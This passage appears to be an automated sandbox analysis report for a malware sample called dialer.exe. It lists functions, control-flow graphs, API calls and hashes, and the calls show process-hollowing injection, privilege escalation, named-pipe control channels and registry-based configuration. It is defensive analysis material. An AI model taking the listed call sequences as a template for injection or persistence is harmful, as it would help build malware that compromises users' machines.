80->82 83 140001487-14000149b GetExitCodeThread 80->83 81->35 82->81 83->82 84 14000149d-1400014a3 83->84 84->82
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
                                            • String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
                                            • API String ID: 2561231171-3753927220
                                            • Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
                                            • Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
                                            • Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
                                            • Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740
                                            Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
                                            • String ID:
                                            • API String ID: 4084875642-0
                                            • Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
                                            • Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
                                            • Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
                                            • Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700
                                            Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82memorypipeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
                                            • String ID:
                                            • API String ID: 3197395349-0
                                            • Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
                                            • Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
                                            • Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
                                            • Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40
                                            Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
                                            • HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812
                                              • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
                                              • Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
                                              • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
                                              • Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
                                              • Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
                                              • Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
                                              • Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
                                              • Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
                                              • Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
                                              • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
                                              • Part of subcall function 00000001400014D8: HeapFree.KERNEL32 ref: 000000014000163D
                                              • Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
                                              • Part of subcall function 00000001400014D8: HeapFree.KERNEL32 ref: 0000000140001651
                                            • OpenProcess.KERNEL32 ref: 0000000140001859
                                            • TerminateProcess.KERNEL32 ref: 000000014000186C
                                            • CloseHandle.KERNEL32 ref: 0000000140001875
                                            • GetProcessHeap.KERNEL32 ref: 0000000140001885
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
                                            • String ID:
                                            • API String ID: 1323846700-0
                                            • Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
                                            • Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
                                            • Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
                                            • Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700
                                            Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124filememorystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
                                            • String ID: .text$C:\Windows\System32\
                                            • API String ID: 2721474350-832442975
                                            • Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
                                            • Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
                                            • Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
                                            • Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700
                                            Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40sleepfilepipeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
                                            • String ID: M$\\.\pipe\dialerchildproc64
                                            • API String ID: 2203880229-3489460547
                                            • Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
                                            • Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
                                            • Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
                                            • Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700
                                            Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36sleeppipefileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 128 1400021d0-1400021da 129 1400021dd-1400021f0 call 140001b54 128->129 132 1400021f2-1400021fb Sleep 129->132 133 1400021fd-14000220a ConnectNamedPipe 129->133 132->129 134 140002241-140002246 Sleep 133->134 135 14000220c-14000222d ReadFile 133->135 136 14000224c-140002255 DisconnectNamedPipe 134->136 135->136 137 14000222f-140002234 135->137 136->133 137->136 138 140002236-14000223f 137->138 138->136
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
                                            • String ID: \\.\pipe\dialercontrol_redirect64
                                            • API String ID: 2071455217-3440882674
                                            • Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
                                            • Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
                                            • Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
                                            • Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700
                                            Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58memorysleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 148 140002b38-140002b8c GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 149 140002b8e-140002ba1 K32EnumProcesses 148->149 150 140002ba3-140002bb2 149->150 151 140002beb-140002bf4 Sleep 149->151 152 140002bb4-140002bb8 150->152 153 140002bdc-140002be7 150->153 151->149 154 140002bba 152->154 155 140002bcb-140002bce call 140002540 152->155 153->151 156 140002bbe-140002bc3 154->156 159 140002bd2 155->159 157 140002bc5-140002bc9 156->157 158 140002bd6-140002bda 156->158 157->155 157->156 158->152 158->153 159->158
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess$EnumProcessesSleep
                                            • String ID:
                                            • API String ID: 3676546796-0
                                            • Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
                                            • Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
                                            • Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
                                            • Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40
                                            Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 172 1400018ac-1400018d6 OpenProcess 173 140001901-140001912 172->173 174 1400018d8-1400018e8 IsWow64Process 172->174 175 1400018f8-1400018fb CloseHandle 174->175 176 1400018ea-1400018f3 174->176 175->173 176->175
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Process$CloseHandleOpenWow64
                                            • String ID:
                                            • API String ID: 10462204-0
                                            • Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
                                            • Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
                                            • Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
                                            • Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700
                                            Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 177 140002258-14000225c call 14000226c 179 140002261-140002263 ExitProcess 177->179
                                            APIs
                                              • Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
                                              • Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
                                              • Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
                                              • Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
                                              • Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
                                              • Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
                                              • Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
                                              • Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
                                              • Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
                                              • Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
                                              • Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
                                              • Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
                                              • Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
                                              • Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
                                              • Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
                                              • Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408
                                            • ExitProcess.KERNEL32 ref: 0000000140002263
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
                                            • String ID:
                                            • API String ID: 3836936051-0
                                            • Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
                                            • Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
                                            • Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
                                            • Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

                                            Non-executed Functions

                                            Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296memoryregistryfileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 184 140002560-14000258c 185 140002592 184->185 186 14000273a-140002742 184->186 187 1400026c6-1400026fe GetProcessHeap HeapAlloc K32EnumProcesses 185->187 188 140002598-14000259f 185->188 189 140002748-14000274b 186->189 190 14000297e-1400029a2 ReadFile 186->190 191 140002a74-140002a8e 187->191 193 140002704-140002715 187->193 194 1400025a5-1400025a8 188->194 195 1400026bd-1400026bf ExitProcess 188->195 196 140002751-140002756 189->196 197 140002974-140002979 call 14000175c 189->197 190->191 192 1400029a8-1400029af 190->192 192->191 201 1400029b5-1400029c9 call 1400018ac 192->201 193->191 202 14000271b-140002733 call 1400010c0 193->202 203 1400025ae-1400025b1 194->203 204 140002660-14000268b RegOpenKeyExW 194->204 198 140002919-14000292c call 140001944 196->198 199 14000275c-14000275f 196->199 197->191 198->191 226 140002932-140002941 call 140001944 198->226 205 140002761-140002766 199->205 206 14000279d-1400027ae call 140001944 199->206 201->191 224 1400029cf-1400029d5 201->224 227 140002735 202->227 213 140002651-14000265b 203->213 214 1400025b7-1400025ba 203->214 211 1400026a1-1400026b8 call 1400019c4 call 14000175c call 140001000 call 1400017ec 204->211 212 14000268d-14000269b RegDeleteValueW 204->212 205->191 215 14000276c-140002796 call 14000217c call 1400021a8 ExitProcess 205->215 206->191 235 1400027b4-1400027d6 ReadFile 206->235 211->191 212->211 213->191 221 140002644-14000264c 214->221 222 1400025c0-1400025c5 214->222 221->191 222->191 229 1400025cb-1400025ef ReadFile 222->229 233 1400029db-140002a16 GetProcessHeap HeapAlloc call 1400014d8 224->233 234 140002a5f 224->234 226->191 250 140002947-14000296f ShellExecuteW 226->250 227->191 229->191 231 1400025f5-1400025fc 229->231 231->191 238 140002602-140002616 call 1400018ac 231->238 253 140002a18-140002a1e 233->253 254 140002a49-140002a4f GetProcessHeap 233->254 240 140002a66-140002a6f call 140002a90 234->240 235->191 242 1400027dc-1400027e3 235->242 238->191 259 14000261c-140002622 238->259 240->191 242->191 249 1400027e9-140002827 GetProcessHeap HeapAlloc ReadFile 242->249 255 14000290b-140002914 GetProcessHeap 249->255 256 14000282d-140002839 249->256 250->191 253->254 260 140002a20-140002a32 253->260 257 140002a52-140002a5d HeapFree 254->257 255->257 256->255 261 14000283f-14000284b 256->261 257->191 263 140002624-140002633 call 1400010c0 259->263 264 140002638-14000263f 259->264 265 140002a34-140002a36 260->265 266 140002a38-140002a40 260->266 261->255 267 140002851-14000285c 261->267 263->191 264->240 265->266 271 140002a44 call 1400016cc 265->271 266->254 272 140002a42 266->272 268 140002881-140002905 lstrlenW GetProcessHeap HeapAlloc call 140002a90 GetProcessHeap HeapFree 267->268 269 14000285e-140002869 267->269 268->255 269->255 273 14000286f-14000287c call 140001c88 269->273 271->254 272->260 273->255
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
                                            • String ID: SOFTWARE$dialerstager$open
                                            • API String ID: 3276259517-3931493855
                                            • Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
                                            • Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
                                            • Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
                                            • Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741
                                            Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154injectionthreadmemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 280 140001c88-140001cb8 281 140001cbb-140001cc8 280->281 282 140001e8c-140001e91 281->282 283 140001cce-140001d25 CreateProcessW 281->283 282->281 286 140001e97 282->286 284 140001e88 283->284 285 140001d2b-140001d5a VirtualAllocEx 283->285 284->282 287 140001e5d-140001e60 285->287 288 140001d60-140001d7b WriteProcessMemory 285->288 289 140001e99-140001eb9 286->289 290 140001e62-140001e76 OpenProcess 287->290 291 140001e85 287->291 288->287 292 140001d81-140001d87 288->292 290->284 293 140001e78-140001e83 TerminateProcess 290->293 291->284 294 140001dd2-140001def VirtualAlloc 292->294 295 140001d89 292->295 293->284 294->287 296 140001df1-140001e07 GetThreadContext 294->296 297 140001d8c-140001dba WriteProcessMemory 295->297 296->287 299 140001e09-140001e2e WriteProcessMemory 296->299 297->287 298 140001dc0-140001dcc 297->298 298->297 300 140001dce 298->300 299->287 301 140001e30-140001e4c SetThreadContext 299->301 300->294 301->287 302 140001e4e-140001e5b ResumeThread 301->302 302->287 303 140001eba-140001ebf 302->303 303->289
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
                                            • String ID: @
                                            • API String ID: 3462610200-2766056989
                                            • Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
                                            • Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
                                            • Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
                                            • Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700
                                            Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
                                            • String ID: dialersvc64
                                            • API String ID: 4184240511-3881820561
                                            • Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
                                            • Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
                                            • Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
                                            • Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300
                                            Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: Delete$CloseEnumOpen
                                            • String ID: SOFTWARE\dialerconfig
                                            • API String ID: 3013565938-461861421
                                            • Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
                                            • Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
                                            • Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
                                            • Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54
                                            Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
